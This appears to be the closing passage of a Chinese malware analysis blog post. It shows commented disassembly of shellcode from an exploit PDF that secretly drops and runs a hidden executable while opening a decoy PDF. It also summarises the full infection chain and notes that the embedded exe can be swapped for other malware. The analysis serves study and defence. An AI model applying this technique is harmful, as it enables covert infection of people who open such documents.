seg000:000002BF 81 C7 0C 00 00 00 add edi, 0Ch ; edi 移动到字符串后面
seg000:000002C5 F3 A4 rep movsb ; 赋值esi进来,形成命令行
seg000:000002C7 4F dec edi ; 去掉最后的\x00
seg000:000002C8 C6 07 22 mov byte ptr [edi], 22h ; '"'
seg000:000002CB 47 inc edi
seg000:000002CC C6 07 00 mov byte ptr [edi], 0
seg000:000002CF 5F pop edi
seg000:000002D0 8D 85 B8 FD FF FF lea eax, [ebp-248h] ; 栈中完整命令行地址
seg000:000002D6 E8 00 00 00 00 call $+5
seg000:000002D6
seg000:000002DB 81 04 24 10 00 00 00 add dword ptr [esp], 10h ; 构造返回地址
seg000:000002E2 6A 00 push 0
seg000:000002E4 50 push eax
seg000:000002E5 FF 77 24 push dword ptr [edi+24h] ; GetCommandLineA
seg000:000002E8 FF 67 20 jmp dword ptr [edi+20h] ; WinExec
seg000:000002E8 ; 执行命令行
seg000:000002E8
拼接命令行:cmd.exe /c
+pdf绝对路径
到缓冲区,然后通过WinExec进行调用,打开正常的pdf文件,就好像程序从没退出过一样,直接就打开了pdf,实际上后头悄悄执行了个恶意的exe样本
最后的最后:
seg000:000002EB ; ---------------------------------------------------------------------------
seg000:000002EB
seg000:000002EB loc_2EB: ; CODE XREF: seg000:000000E1↑j
seg000:000002EB ; seg000:00000104↑j
seg000:000002EB ; seg000:00000199↑j
seg000:000002EB ; seg000:0000027F↑j
seg000:000002EB 6A 00 push 0 ; 退出进程
seg000:000002ED FF 57 2C call dword ptr [edi+2Ch] ; ExitProcess(0)
调用ExitProcess(0)退出进程
防护
该恶意样本留下了明显的硬编码特征,只要读取pdf特定位置的数据即可判断是否是该恶意样本
总结
本次实践的目标是搞明白恶意样本是如果通过漏洞来执行的,整体流程大致如下:
- 恶意pdf通过漏洞利用ROP执行到shellcode
- 通过遍历文件句柄找到pdf恶意样本本身这个文件,pdf里是漏洞利用的流程,并且藏匿了一个正常的pdf和一个exe
- 到系统临时目录中创建一个srvhost.exe,并把漏洞利用pdf藏匿的exe解密并写入,以及执行
- 到软件根目录创建一个pdf文件,并把漏洞利用pdf藏匿的正常pdf写入
- 构造命令行启动正常的pdf
- 退出进程
整套流程仿佛只点开了一个普通的pdf一样,实际上里面通过漏洞执行了恶意可执行程序,这里可以通过替换恶意样本中藏匿的exe来达到执行不同的恶意程序的目的
本次内容到此为止了,这里对具体释放出来的exe就不进行详细分析了